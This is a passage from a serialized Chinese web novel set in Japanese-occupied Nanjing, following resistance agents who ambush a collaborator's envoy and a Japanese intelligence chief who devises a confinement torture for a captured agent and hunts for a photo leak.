陶楚歌赶紧回头看,可大门依旧关闭,眼前空无一人,心中大呼不妙,正在此时,林赤看她手里的点心随着身体的转动暴露在自己面前,一伸手,两指一夹,便轻飘飘地将点心抢了过来。 林赤举起点心袋子,刚想打开,大门这时被人推开了,曲思秋从门外走了进来,一进门便嚷嚷道:“我老远就听到有人喊我的名字,你们谁叫我?”她把目光扫向林赤,“是你?” 陶楚歌指了指林赤,道:“是这个老狐狸!”林赤刚想答话,陶楚歌探在林赤面前的手倏然下垂,手指已触及点心袋子,林赤知道她想把点心夺回,本可轻易拒之,生怕自己的动作幅度过大,会把点心洒落于地,又怕扫了陶楚歌的兴,不知不觉手立即松了开来…… 陶楚歌得意地抓起点心袋子,用双手保护起来,很快又皱起眉头说道:“看你还没睡醒的样子,你洗漱了吗?” 林赤懊恼地笑了笑,走进盥洗室。 听到陶楚歌在外面对曲思秋亲切地说道:“思秋姐,新鲜出炉的七家湾牛肉锅贴,快来尝尝!” 曲思秋好奇道:“怎么,七家湾牛肉锅贴重新开张了?” “昨天是他们第一天开门营业,我也是今早听老周讲起,所以来诊所的路上,我特地让赵楷绕了一下路,给你们捎了一锅回来,你吃吃看还是不是以前的味道?” 林赤在盥洗间已听到她们的对话,顿时垂涎欲滴,匆忙洗了洗,赶紧走出,也不管手上水迹未干,用湿漉漉的手拎起一只,赶忙塞进嘴里,啧啧赞道:“我有大半年没能吃到七家湾的锅贴……嗯,好吃,好吃!” 曲思秋和陶楚歌相视一笑,曲思秋鄙夷道:“看看你的吃相,要不要我给你拿个镜子照照?” 林赤满不在乎的样子,嘴里含混不清说道:“吃相有那么重要吗?我这是人饿志短!” 陶楚歌见林赤转眼之间已在嘴里塞了三个锅贴,满嘴包得鼓鼓的,关切说:“别那么性急嘛!我不和你抢了,您老人家千万别噎着,你有个三长两短,我如何向思秋姐交待?” “你千万别咒我,吃东西也能吃个三长两短,传出去我不被人笑死了!”林赤咕哝道。 曲思秋见状给林赤倒了一杯开水,放到林赤的面前,乘陶楚歌进盥洗室洗手之际,在林赤的耳边轻轻说道:“老池带着他们区公所的工作人员在隔壁照相馆呢,他等会儿过来!” 林赤放缓了吃锅贴的速度,也轻声问道:“他是来找我的?” 曲思秋点了点头。 正说着,有人推门进来,正是鼓楼区公所的所长池碧疆。 池碧疆见屋内只有林赤和曲思秋二人,正要问好,盥洗室的门“嘎吱”一声被推开,陶楚歌走了出来。 池碧疆硬生生将一句问候咽到肚里。 “先生有事吗?”曲思秋马上高声问道。 池碧疆迟疑了一下,说道:“谁是医生?” 陶楚歌迎了上去,“先生,您哪儿不舒服?” “这两天一直拉肚子,我怀疑是吃东西吃坏了。”池碧疆说着打量了陶楚歌一眼:“您是医生?” “我不是。”陶楚歌对曲思秋说:“思秋姐,来业务了!” 本小章还未完,请点击下一页继续阅读后面精彩内容!曲思秋站起身,“先生,您跟我来!”说完曲思秋带着池碧疆进了里间诊室。 陶楚歌抖了抖手上的水珠,从墙壁上取下一方毛巾,边擦手边问林赤:“怎么样,七家湾牛肉锅贴好吃吧?” 林赤道:“味道很正宗,和我一年前吃的味道一模一样!” “好吃我明天再给你带!”陶楚歌道。 林赤似乎想起了什么,对陶楚歌道:“我找赵楷有点事,你帮我叫一下他,我不方便前去找他。” “好咧!”陶楚歌欢快地出了门。 林赤赶紧进了里间的诊室,一进去便问:“老池,找我何事?” “梁洪之的特使明天到南京。”池碧疆连忙起身,对林赤说道。 “明天?有准确时间吗?” “具体时间不确定,情报上说,他将会乘一辆日本军方的邮政车进入南京,这辆邮政车是专门为南京的现役士官运送来自日本本土的家信的……对了,陪他一同前来的是鬼子北平特务机关的一位佐官。” “你们的情报怎么这么及时?是如何获得的?” “这还得谢谢你给我们带回的电台!” 林赤似有所悟,转而又蹙眉道:“我需要详细信息,你把你所了解的一并说出!” “这辆邮政车每周四往来宁沪一趟,通常是早上八点出发……梁洪之的特使叫周启仁,五十岁刚出头,一米七二左右的身高,身材偏胖,戴一副黑框眼镜,头发很少……不,应该是谢顶,可能会穿一身黑色长衫……” “算它平均50码的时速,到南京一般需要六个小时,如果不出意外应该在下午两点左右抵达南京。”林赤补充道,“如果要保证刺杀成功,最好是在入城的必经之路埋伏,否则他一旦进城,我们就断了音讯,不啻于放虎归山!” “镰刀同志也是这么想的,他提醒你们一定设法在他入城时把他干掉!” “可是,据我所知,从上海进入南京城有两个入口,一个是中山门,一个是中华门,中山门的必经之路是中山东路,中华门的必经之路是中山南路……你说他会选择哪里入城呢?” 池碧疆叹了一口气道:“时间太紧了,否则我倒是可以打探一下,鬼子的邮政车一般会从哪个城门入城。” “如果让我推测,我认为周启仁会选择中山门。”林赤断然道。 “为什么?你有依据吗?”池碧疆追问。 “镰刀曾说过,此次会谈由南京的松机关牵头,周启仁很有可能先去松机关落脚,松机关在黄浦路,离中山门最近,只有两公里不到,所以我认为,不管这辆邮政车平素是什么习惯,这一次必定选择中山门!” 池碧疆默默颌首,“那你们就设法在中山东路埋伏,伺机干掉这个汉奸,阻止梁洪之成立伪政府的阴谋!” “为了保险起见,我们不能太过自信,必须做两手准备……这样,你向镰刀汇报一下,我们协同行动,你们派一组人埋伏在中山南路上,我马上向上级汇报,由我们的人负责中山门的方向,你看如何?” “可以!”池碧疆思索着道。 此时外面的大门有被推开的声音,赵楷的声音,“林赤呢?” “刚才还在呢!”陶楚歌接着喊了起来:“林大哥!林大哥!” 林赤高声应了一下,走出诊室,对陶楚歌吩咐道:“采购药是你在负责吧,以后这种拉肚子的药也得多备点!”说完,不等陶楚歌表态,林赤拉着赵楷上了二楼,一进房间林赤问道:“成立黄包车队的事你开始做了吗?” “马上着手开干!”赵楷在床边上坐下,“我今天特地前来交待他们具体的细节,下午我就去其它地方办公了,以后这里就让他们独自负责了!” “照相馆这里,你准备让谁来负责?” “小彭,彭登科,他跟了我三四年了,人又老实又可靠!” “你介绍我认识一下,你走以后,这里还是我来负责一段时间!”林赤道。 “那怎么行?万一被那日本娘们撞见,你岂不很危险?”赵楷担忧道。 林赤思忖了一会儿:“没什么大不了,她又没证据,再说,上次在应天医院如果他们想抓我,早把我抓进去了!我倒是想会一会她!” “你可要想好了……”赵楷再次劝林赤。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第121章 特殊刑讯 这天凌晨,黑木从噩梦中醒来后,他就再也没有睡着。 他在窗前一直坐到天亮,直到看到东方天际亮起炫丽的光芒,才穿上衣服。起床后匆匆洗漱完毕,他在憩庐的周围散了一会步,在去食堂吃早饭的路上,遇到了工藤夕贵。 自从昨天工藤向他报告了稻田勇的箱子中藏有秘密后,二人之间忽然多了某种默契,彼此间共享着秘密,且达成了约定,黑木怎么看都觉着这个朴实的山民透着亲切,黑木笑着主动向他问好,这让工藤一下子受宠若惊。两人结伴共进了早餐,饭后,二人出了食堂,在快到憩庐的一条岔路口上,黑木正要与他道别,工藤突然提出想早点上班的想法,黑木看了看他依旧绑着绷带的右手,不无忧虑地说道:“工藤君,我看你还是养伤要紧,等你的伤完全痊愈后再投入战斗也不迟!” “将军,我还有左手,我的左手也可以胜任!” 黑木看他回答得坚定,心中感动,想了想道:“难得你对帝国一片忠心,我允了!” “我总感觉上次在燕子矶相遇的那名支那狙击手就在我们周围,他时时刻刻在注视着我们!” “工藤君怎么会有如此想法?” “一种直觉!”工藤犹犹豫豫说道。 “工藤君太多虑了,我们作为情报战线的斗士,不可太迷信直觉,要善于透过现象看本质,从细微之处找规律!”黑木话锋一转:“不过,你能参加工作也好,这一两天确有用得着你的地方。” 工藤刚想追问是何任务,黑木头也不回走了。 回到憩庐,黑木所做的第一件事就是召集松机关的全体成员开晨会。 所有人陆续到齐,黑木首先了解了一下各部门的工作进展。 新成立的社会部首先汇报了良民证的办理情况,接下来川上麻衣汇报了电台案的侦办情况。 良民证的办理非常顺利,几天下来,登记在册的南京市民已达三万多人,但是,在这过程中,困难也不是没有,最大的困难就是证件照的拍摄太慢,目前只能依仗悦颜照相馆一家,如果想在短时间内完成这项工作,那必须新开三家以上的照相馆。 川上领导的电台案却无太大起色,目前南京城的二部敌台没有丝毫收敛,反而有变本加厉的趋势,可这两部电台开机没有任何规律,完全是率性而为,想短时间内挖出电台,却也不易,此外电文的破译更是困难重重,电讯股的破译专员数天来一直埋头苦干,无奈收效甚微。 其它的具体工作由于保密的需要,黑木不愿在会上大肆渲染,只是一笔带过。接下来就是机关长黑木发言,黑木开会的主要用意就是给全体成员打气,在他发表了一大段慷慨激昂的陈词后,黑木将相关负责人留下,分别交待了任务。 良民证的办理上,黑木要求立即派人和南京自救会的陶天阙会长商榷,看能否新增两三家照相馆,至于经费,日方可以适当援助。在电台案的侦办上,黑木许诺尽快引进一套最新的侦听车设备,以加强电台讯号的监控。 川上麻衣走后,黑木发现会议室已空无一人,正要让人去叫渡边雪奈,她适时出现,手里拿着一纸电文。 渡边把手中的电文递给黑木,嘴里补充道:“周启仁已经从上海出发了,预计下午二点左右从中山门入城。” 黑木仔细地看着电文,很快说道:“这件事你安排下去就行了,无须亲力亲为,你今天的工作重点还是放在泄密的照片上,你马上会同吉田,去金陵图书馆实地调查一下,细节越详细越好!我后来思考了一下,这件事八成是内部人所为,所以我们要在最短时间内挖出这名内奸!” “周启仁这件事我该怎么做?”渡边征询黑木的意见。 “和梁洪之的接洽已有时日,目前已进入实质性的阶段,我们要从根本上有所重视,他既然代表梁洪之,我们也必须以礼待之,必要的礼节还是要有的……”黑木沉思了一会说道:“你还是通知一下川上麻衣中佐,让他全权代表我,带上些人,在中山门迎接一下他们的到来!” “是!”渡边高声应道,“将军还有什么吩咐?” “对了,你让川上君叫一下工藤夕贵中尉,让他参与保卫工作,确保周启仁的安全,以防节外生枝……” 渡边一听到从黑木嘴里说出工藤夕贵的名字,心中不爽,皱眉道:“工藤君?他不是受伤了吗?” 黑木并未发现渡边的异样,也并不了解二人之间的嫌隙,继续道:“他今天早上一再要求参加工作,我想还是安排这样的工作比较适合他……” “可是,他手上吊着绷带,又如何使得枪支?再说,他的这副模样去迎客,怕也是不合时宜吧?” “那就让他一直待在车里,不要参与迎接客人,在车里时刻保持警惕!” 安排完手头的工作,黑木带着数人再次前往老虎桥监狱。 他要一鼓作气,不能给“镰刀”有任何喘息的机会。 本小章还未完,请点击下一页继续阅读后面精彩内容!凌晨起床后,黑木通过长时间的思考,他想出了一个新方法,他要给“镰刀”采用非常手段。 见到武内次郎,黑木开门见山。 “武内君,你帮我准备一样东西!” “将军需要我怎么做?”武内次郎问。 “你找一个木工,给我打一个木柜,一米五见方,最好马上施工,务必今天给我完工!” 武内次郎好奇问:“将军要它何用?” 黑木洋洋得意道:“既然一般的刑罚不能使得‘镰刀’开口,我只有另辟蹊径!” 武内更好奇了,“将军的意思是用这样的木柜就能让他开口?” “可以一试!”黑木自信道:“你让人把木箱的里面包上厚厚的棉袄,以防止‘镰刀’自杀!” “原来将军是准备用这个柜子来装‘镰刀’?”武内似懂非懂道。 “正是!”黑木走到窗前,推开窗户,深深呼吸了一口潮湿的空气,回头对武内说道:“作为地球上最高级的动物,我们人类最向往的是什么?” 武内想了很久道:“情爱?”武内一说出便不好意思起来,羞涩地低下头,很快再次抬头看着黑木,心中惴惴不安。 “情爱固然是人类的最高理想,不过像‘镰刀’这样失去自由之身的人而言,他的第一欲望恐怕不在此吧……” “请将军明示!” “光明和自由!”黑木从窗前重新回到武内身旁,徐徐说道:“要想撬开‘镰刀’的嘴,我们必须从心理上使其崩溃,摧毁他的心理防线!” 武内觉得自己已经完全懂了,迫不及待说道:“将军的主意真高!您是想把他塞进柜子,让他在如此狭小的空间里坐也不是站也不是,并且把柜子蒙的严严实实,让他见不到一丁点光亮!” “这样还不够!”黑木断然道:“我还要剥夺他的尊严!你把他的衣服全部剥光,蒙上双眼,反铐双手,此外,你让人在柜子旁边不停地敲打脸盆之类的金属器具,制造噪音,每次三十分钟,间隔三十分钟,我要彻底摧垮他!” 武内听后,一脸钦佩,“将军真不愧是审讯高手,我马上找人办!” 黑木无限享用这句赞美,拍了拍武内的肩膀道:“年轻人,你要学的东西还很多,我们所对付的敌人,不同于战场,我们还必须和他们比拼智力,比心理承受,比谋略!” 武内刚想再奉承几句,黑木接着道:“甲区八号监房的刘云雄开始吃饭了吗?” 武内一脸沮丧:“他依旧什么也不吃,我一直要求见他的夫人秦素芬。” 黑木又问:“对了,秦素芬现在状态如何?” “她也多次要求见刘云雄,我没有理她!” “刘云雄的事情最好现在先拖一拖,我要先突破‘镰刀’,他那里你要设法稳住,可以先答应他的要求,最好拖上几天,我推测,他在没见到秦素芬之前,也不会自暴自弃的!” “是将军!我今天在等上一段时间,熬到中午以后,先答应他的要求,您看如何?” “好的,就这么办!”黑木从桌上拿起他的公文包,“你一定要保证刘云雄活着!” …… 月息路二十一号,林赤来见锤子。 钉子的身体恢复得很好,见到林赤主动上前和林赤握手。 锤子神色忧虑,给林赤泡了一杯龙井,说道:“不知现在瑾余怎么样了?” “鬼子现在应该在对他施行刑讯!”林赤淡淡道。 钉子插话:“就他那身板,不知能不能扛得住?” 林赤此次前来,倒不是为了钱瑾余的事情,而是梁洪之的特使周启仁。 林赤将话题转移,说道:“南京城的鬼子松机关勾结大汉奸梁洪之,正在筹备伪政府,今天,梁的特使周启仁从上海抵达南京,据我判断,他们将会从中山门入城!” “你怎么知道这件事?”锤子忙问。 “镰刀特地找到我,提供了这样的情报,他以力量不够为由,希望我们插手,在周启仁入城的路上击毙他,以阻挠他们的这次会晤!我答应了,并且我也提出了要求,希望他们派一组人,埋伏在中山南路上,防止周启仁从中华门入城……” 锤子递给林赤一根香烟,说道:“我马上向重庆汇报,寻求进一步的指示!不过,由于时间的缘故,我们可以先准备起来!” “我带一组人埋伏在中山东路上……”林赤话尚未说完,锤子即刻打断道:“这件事你就不用参与了,我重新安排人!” 林赤刚想申辩几句,锤子继续道:“我们不能什么事都让你亲为,你好歹也是我们南京站的副站长,你还肩负着领导行动处的重任呢!” “可是,这不是近战,一旦战斗打响,如果无法很快解决战斗,局面对我们很不利,所以最好是一枪毙命!” “就这么说了,新年同志,这是命令!”锤子决然说道,很快,他的语气稍缓,“我们行动处也是藏龙卧虎,枪法好的又不止你一位!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第122章 深入调查 黑木给武内次郎交待完工作,正要离去,武内强烈挽留,声称觅到两瓶好酒,欲与将军午间小聚,好好表示一下敬意,黑木看他说得真诚,不想拂其美意,便答应了。 武内次郎典狱长看到黑木应允赏脸,心情大悦,连忙让人叫来副典狱长陈炳松,吩咐下去,让他前去准备中午的菜肴。 时间离午餐时间尚早,才十点多一点。 黑木决定去拜会一下刘云雄的夫人秦素芬。 武内陪同黑木一起来到甲区3号监房,武内让人打开房门,并跟着黑木进了房间。 秦素芬听到门前的脚步声,早就从床上移到椅子上正襟危坐,一见来人竟是松机关的机关长黑木瞳将军,立即站起身,把黑木上上下下打量了一遍。 黑木打了个哈哈道:“秦素芬秦女士,尊敬的刘云雄旅长夫人,好久不见,你还好吗?” 秦素芬冷冷地道:“黑木将军屈驾,就是为了和我说这句话?” “我是特意前来看望秦女士,在这里住的还习惯吗?” “习惯?呵呵,当然习惯了,我又不是大家闺秀,出生清贫,从无矫情的臭毛病,任何环境都能很快适应,再说有你们供养着我,有吃有喝,不用干活,还能偶尔读报,我的心情很好……”秦素芬说着转动的身体,一圈,两圈……她缓缓停止了转动,眼睛盯着黑木,神情有些落寞:“将军帮我看看,我是不是比刚来的时候胖了不少?” 黑木又好气又好笑,没有直接回答,“这么说秦女士很乐意待在此地喽?” “一想起马上就能见到我的丈夫,我就非常兴奋!”秦素芬脱口道。 “你为什么认为我们一定会让你们夫妇相见?”黑木反讥道。 秦素芬自信满满:“你们既然把我从数百公里外的上海不辞劳苦带至南京,就一定是想通过我来要挟我的丈夫,我猜测,我的丈夫一定也关在这座监狱,而且我还知道,我的丈夫直到现在还没有屈服,我秦素芬相夫教子,就是一个地地道道的家庭主妇,对你们没有一丁点利用价值,如果不是为了这个原因,你们又何苦在我身上费这么多功夫?” 黑木一时无言以对。 “所以我希望将军阁下还是早些让我见一见我的丈夫,如果他见不到我,他是绝对不会妥协的!我对他太了解了,我们结婚十来年,夫妻间早已形成默契,在这个世界上,他最在乎的就是我们母子二人!” 黑木皱眉追问:“母子?你还有孩子?你的孩子在哪里?” 秦素芬知道说漏了嘴,但却不紧张,坦然道:“我们当然有孩子了,可惜你们是抓不住他了!” “这么说,你提前把孩子转移了?” 秦素芬没有回答黑木的问话,“你们还是好好考虑一下我的要求!” “我会认真考虑的,我希望一旦让你们夫妇相见,你需要马上说服你的丈夫,让他弃暗投明,加入帝国伟大的事业中来,不要再让我们走弯路,这对你和你丈夫都大大不利!” 黑木说完,给武内使了一个眼色,二人立即出了监房。 黑木埋头疾步前行。 再多说已无益,黑木已经了解到了秦素芬的态度,看来她是支持说服丈夫加入皇军的。 秦素芬鲜明的态度让黑木如释重负! 改变刘云雄的立场已经没有障碍!至少,他的结发妻子将在这过程中起到至关重要的作用,一切只是时间问题! 武内亦步亦趋跟在黑木身后,好不容易追上了他,武内立即将心中的疑惑和盘托出:“将军,既然刘云雄的夫人已经表态,那我们是不是可以马上开始着手刘云雄的策反工作?” 黑木放缓了脚步,回头看了武内一眼,边走边说道:“我是个完美主义者,我希望所有的一切都是水到渠成,我就是要晾着他们,让刘云雄内心充满煎熬,打心里屈服,这样才能尽为我所用!” 武内恍然大悟,一拍额头道:“还是将军阁下想得周到,您是想把那姓刘的心底最后的一点傲气抹掉,让他来主动求你!” “快了,这个时刻很快就会来临!”黑木微微一笑,一脸得意,“不出两天,他必将要求见我!” …… 武内为了招待黑木将军,煞费苦心,足足准备了一大桌菜,他所说的两瓶好酒,乃是民国十七年的茅台。 的确,十年珍藏的茅台酒,在市面上已经很不多见。 自见到了秦素芬后,黑木的心情总体来说,比上午离开松机关的时候好多了。 起码,老虎桥监狱这一趟没有白来,秦素芬到底是个女流之辈,头发长见识短,她的一番话代表了当时几乎所有中国军人妻子的心境,那就是不要杀戮,只求平安。 架不住武内和陈炳松的轮番劝酒,黑木有点喝高了。 民国十七年的茅台,到底是底蕴深厚,绝不似本国清酒的寡淡,喝起来深远绵长,回味无穷。 两瓶茅台酒,黑木一下子干掉七八两,已经醉意峥嵘。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!黑木的内心还算清醒,他知道饭后还有很多事情需要自己亲自处理,他急需听取渡边雪奈关于文化泄密事件的调查进展,他还需要在下午三点左右于松机关的会客室等着梁洪之的特使周启仁的到来,和他会晤并商谈建立南京维新政府的局部细节。 这两件事,是当下松机关最迫切的两件大事。 黑木踉踉跄跄起身,与武内挥手告别。 临别之际,武内次郎让副典狱长陈炳松给黑木准备了一点小礼物——一具元青花瓷瓶。 “这是我和陈副典狱长的一点小小心意!”武内讨好说道。 黑木欣然笑纳,反复摩挲着瓷瓶的瓶身,显得爱不释手的样子,“难得武内君一片心意,我却之不恭!” “这可是陈桑的家传之物,他一直想对将军意思意思,可是苦于找不到机会,所以今天听说将军光临,连忙托我引见……” 陈炳松终于听到武内提到自己,立即走上前来,弓着腰对黑木诞笑道:“小小心意不成敬意,希望将军能够喜欢……” “好,好……我记住你了!”黑木拍了拍陈炳松的后背,眯着眼睛说道:“陈……陈炳松,陈副典狱长?……你是皇军的朋友,大大的朋友,你的前途一片光明!” …… 黑木在车上打了一会盹,回到松机关,酒劲已消去大半,一看手表,已是下午一点多钟。 渡边少佐也是刚刚回到松机关,正在到处找黑木。 黑木首先了解了一下迎接周启仁的事情,当他得知川上麻衣中佐已代表他,带着工藤夕贵一帮人去了中山门,候迎周启仁的到来后,心中的一块石头落了地。 黑木先是安排人前去布置会客室,并张贴上“热烈欢迎梁洪之特使周启仁先生”标语,这才带着渡边回到自己的办公室。 在这过程中,电讯股股长稻田勇来报,声称今日南京城的一二号敌台的讯号同时出现,并且持续的时间很长。黑木的心中透出一丝不安,隐隐觉得要有大事发生。 尽管内心担忧,但黑木却也力不从心、无能为力,只能反复要求稻田勇抓紧时间破译对方电文。 做完这一切,黑木才带着渡边来到自己的办公室。 关上房门,黑木连忙问道:“渡边小姐,调查有进展吗?” 渡边取出记录本,陈述着调查过程:“我一大早会同吉田君,一起走访了南京警备司令部和金陵图书馆两个地方,并询问了该事件的参与单位,得知具体搬运工作皆是警备司令部第五中队所为,我问询了当事单位的指挥官,了解到如下信息:一、他们分别在年前十二月二十二、二十三、二十四日三天从金陵图书馆实施搬运,第一天搬了三车,第二天也搬了三车,第三天最少,只搬运了一车,我对照过《大公报》刊发的照片,它刊发的五张照片上均是出现了三辆卡车,因此我断定,这五张照片应该是十二月二十二、二十三这两天中的某一天抓拍的;二、我亲自走进大楼里,并安排了一辆卡车停在照片中的停车地点,模拟了一下现场,通过照片的仔细对照,终于找到了具体的拍摄方位,是四楼的一间临窗房间……” “房间号多少?”黑木一边记录一边问。 “411房间。” “你能够肯定吗?” “当然,我反复调试了一下角度,最终得以确定!” “好,很好,渡边小姐继续……”黑木又低头准备记录。 “三、我找到了当时担任警戒的部门,幸运的是,当时的访客登记记录还在,我于是马上调阅了那两天内——就是二十二、二十三日的访客登记表,现已查明那两天共有访客二十七名,以帝国军人为主……” 听到这里,黑木立即打断了渡边的话,迫不及待问道:“这二十七人中,有你熟悉的吗?或者说,你有没有发现可疑的?” “有!”渡边的眉宇间多了一丝兴奋,“将军,这个人,您也认识,而且还很熟悉!” “谁?”黑木不知不觉站了起来。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第123章 锁定嫌疑人 此时的黑木,目光如炬,灼灼逼人,他一眨不眨地盯着渡边雪奈。 渡边从办公桌前绕到他的身旁,黑木的眼睛一刻也没离开她。渡边把手中的记事本一边递给黑木,一边一字一顿说道:“池碧疆!” “什么?”黑木的声音竟有些颤抖,一把抢过渡边的记事本,放到离眼前很近的地方,眼睛快速扫视,终于在记事本上找到“池碧疆”三字。 黑木仔细看了很久,将本子放在桌上,颓然地重重摔坐在了椅子上。 “你确定没有弄错?”黑木再次抬眼看着渡边,眼光里透出一丝希冀。 “我可以肯定!”渡边坚定地说道。 “有没有可能是别人冒用他的名字?”黑木依旧抱有一丝侥幸。 “这件事我也非常慎重,我反复问询过,所有的二十七名访客的登记都是对照对方的证件,绝对正确无误!”渡边知道此时的黑木心中一定震动很大,故而言语之间也小心翼翼起来。 黑木再次抓起桌上的记事本,端详着“池碧疆”三字,他的目光渐渐暗淡了下来。 “是啊,从动机上来判断,池碧疆确实嫌疑最大。”黑木呐呐自语,“他好像原来就是金陵图书馆的馆长?” “是的,将军,我已经调出他的档案,他在这之前,一直是金陵图书馆的馆长,在这个岗位上,他几乎已经干了十多年!”渡边继续补充道:“他是年前十二月二十三日上午八点四十五进入金陵图书馆的,登记的事由是前往他的办公室取故旧之物。但具体拿什么东西他没有提及……” 黑木忽然似乎想起什么,赶紧问道:“他的办公室在几楼?照片拍摄角度是来自他的办公室吗?” “办公室在四楼,401房间,在大楼的最东侧,但照片不是从他的房间拍的,是411房间,在四楼的西侧,和它之间相隔了四间办公室。” “这么说证据还不足以锁定池碧疆?” “我现在也只能认定他有嫌疑,并没有直接证据指证就是他!”渡边语气一转,道出了她心中的怀疑:“这件事他肯定洗不清了,因为自从皇军接管了该图书馆后,整个大楼的房间都被皇军贴上了封条,我查勘过401房间,他的这间办公室大门上的封条根本原封不动,没有丝毫破坏的痕迹,这说明他根本没有进去过,倒是411房间的封条,有明显动过的迹象。” 黑木陷入了短暂的沉思。 “他是如何加入我们的?居然还成了鼓楼区公所的所长?”渡边轻声问道。 黑木被从思索中拉回了现实,“他是我的前任机关长佐方在任时加入的,但具体加入细节我还不很清楚。” “哦,原来是佐方将军任命的!”渡边喃喃道。 “要不要联系佐方将军,了解一下具体细节?” “不用!” 黑木提起桌上的茶杯,大口喝了一口茶,已然平静了下来,面无表情问道:“渡边少佐,你已经看过池碧疆的档案,你具体说说他的情况!” “池碧疆,清光绪20年,也就是1894年生人,南京本地人,民国六年毕业于上海的南洋大学,已婚,妻子邬红霞,今年四十二岁,育有一女,名叫池橙,今年二十二岁,曾就读金陵大学,由于南京战事爆发,一直辍学在家。池碧疆是民国十六年年底走上金陵图书馆馆长之位的……”渡边一口气将她所知的有关池碧疆的所有信息娓娓道来。 听完汇报,黑木合上渡边雪奈的记事本,把它递还给她,徐徐说道:“我们来分析一下,如果真是池碧疆所为,那么他的动机何在?或者说,他到底所属哪一方阵营?他会是重庆方面的吗?还是代表延安方面?” “有没有可能他哪方面都不是,所做的这一切仅仅是出于对他的国家迂腐的爱?出于对他的国家文化遗产的珍惜和爱护?”渡边连忙说出了她认为的另一种可能。 “不,渡边小姐,事情绝不是你认为的这么简单!”黑木断然否定。“如果确是他所为,那么他肯定代表了某一方利益,非此即彼,不是代表延安就是代表重庆,二者必取其一!” “为什么?” “你可以设想一下,如果池碧疆仅仅是一个出于爱国的普通人,那么你怎么可能手眼通天,在皇军的重重封锁下把拍摄的胶卷带出南京?并且会发表在香港的《大公报》上?一个普通人会有这么大的能耐?完成这样的事情,必定需要依仗一个强大的组织,需要周密计划和紧密配合!” 渡边不由连连点头。 黑木又道:“所以从这件事产生的后果,以及纷繁复杂的操作环节来看,风格很像是重庆方面所为!目前,依我看来,延安方面的力量还不足以动用这么大的资源!” 俄顷,渡边道:“我曾听将军提起过一事,上海岩井公馆不是也曾破获一起有关胶卷的案件,这么说,应该有两批人次参与了现场的拍摄?” “应该如此!” 渡边迫不及待道:“要不要马上派人把池碧疆抓起来!” 本小章还未完,请点击下一页继续阅读后面精彩内容!“不,渡边小姐!”黑木霍地站起来,“不可性急,千万不要太冒失,我们的手里还没有直接证据,这一切只是一种推断,尚不足以锁定他!” “接下来如何做,请将军明示!” “你马上安排可靠的人,需要生面孔,全天候轮流监视池碧疆,一刻也不要放松!”黑木命令道。 “是,将军!”渡边大声答道。 黑木看了看手表,拦住了正要离去的渡边,说道:“梁洪之的特使周启仁先生应该快到了吧,你待会和我一同会客,你安排一下工作后,在会客室等我,我们去看看他们的准备工作做得如何了?” 半小时后,黑木出现在松机关的二楼会客室。 上了二楼楼梯,右手边即是会客室,大门洞开,尚未进门,便看见正对大门的墙上悬挂着一条大红条幅,上面用红纸黑字书写着欢迎标语:热烈欢迎梁洪之特使周启仁先生! 会客室的南北两面墙上也有标语,北面墙上写着:大日本帝国万岁!南面墙写着:大东亚共荣万岁! 松机关的两名年青女性办事员正在准备茶水,将椅子逐一摆放整齐。 黑木表情严肃地在会客室来回巡视一番。 这时渡边进来了,看到黑木第一句便道:“将军,您交待的工作我已经安排下去……” 黑木抬手示意渡边不用透露细节。 这时,有人进来会客室报告黑木,说老虎桥监狱一位叫做武内次郎的典狱长电话找他。 电话中的武内次郎上尉先是亲昵地向黑木问好,接着讨好说道:“将军阁下,您吩咐属下做的事情我已经完成!” 黑木马上明白他所指何物,便赞赏道:“武内君办事效率很高呀,是按我所要求定制的吗?” “请将军放心,完全一致,我还特地找人钻进去试了一下,确实不好受,如果再将柜子完全封合,蒙上黑布,施以靡靡之音,我想就是我都会疯掉的!将军的主意真是高明!” “太好了!你立即安排下去,马上启用,我要让‘镰刀’亲身体会我馈赠给他的新年礼物!” “是,将军,我即刻就办!”武内的语气中抑制不住由衷的兴奋。 “你时刻关注进展,一旦对方态度松动,马上通知我!”黑木的眼前浮现出“镰刀”身陷囹圄的情境,仿佛看到“镰刀”一丝不挂局促地缩在木柜中的样子,在那个暗无天日的狭小空间里,“镰刀”正绝望地呼天抢地! 黑木洋洋得意地搁下电话,正欲再次前往会客室。 没走几步,电话铃又响了。 黑木信手抓起电话,话筒刚刚接近耳边,突然听到里面传来惶急而沮丧的声音。 黑木心中一惊,接着无边的黑暗如翻滚的巨浪连绵不绝涌来。 声音很熟悉,是川上麻衣的声音。 川上在电话里大声对黑木说道:“将军……不好了,出事了!” 黑木愣了数秒钟,才缓缓说道:“中佐,不要慌,慢慢说!” “我们的车队遭遇伏击,特使周启仁先生……” 黑木已然矜持不起来,脱口问道:“他怎么啦?” “周启仁已经遇刺身亡!”川上麻衣中佐还是鼓起勇气说出。 “什么时候的事?”黑木气急败坏。 “就在刚刚,一切来得太突然……” 黑木稍稍定定神,再问:“出事点在什么地方?” “我们接上周启仁先生后,从中山门上了中山东路,可就在车队刚过明故宫时,忽然就受到了不明的袭击,对方人数很多,动用了狙击手,目标直指周启仁,很显然,这次刺杀就是针对特使先生的!” “狙击手?”黑木的耳畔立时想起了工藤夕贵的那番话,他曾说起过他的直觉,当时他黑木还不屑一顾! 既然联想到工藤夕贵,作为帝国的优秀狙击手,南京城的王牌狙击手,黑木不得不问道:“工藤君不是和你们一同前往的吗?他怎么样了?” “可惜工藤君有伤,身手不是很灵活,否则怎么会这么轻易让敌人得手?可尽管如此,工藤君还是击毙了对方一人!”川上麻衣道,“我已联系了警备司令部,他们已派人展开搜索追击!” “很好,你们原地待命,我马上前往!” “是!” 黑木从衣架上匆匆取下衣帽,疾步走出办公室,由于走得急,差点迎面撞上一位前来汇报的年轻女子。 这位女子正是布置会客室的工作人员,此时她遇到了困惑,需要当面请示黑木将军。 “将军,我想询问一下您的意见,是关于会客座位的安排礼仪问题,到底如何才更合理……” 黑木未让她说完,不耐烦地挥手打断了她,近乎歇斯底里喝道:“你们现在该干嘛干嘛去!” 说完,黑木将军一阵风跑出松机关。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第124章 “镰刀”求见 一众人看到黑木到来,均噤若寒蝉般肃立一旁。 与此情景格格不入的是另一名陌生男子正焦灼地来回踱步。 这名男子一身日军佐官服,配中佐军衔。他看到黑木到来后,立即朝他跑来。 黑木没有理他。 出现在黑木眼前的,是触目惊心的案发现场。 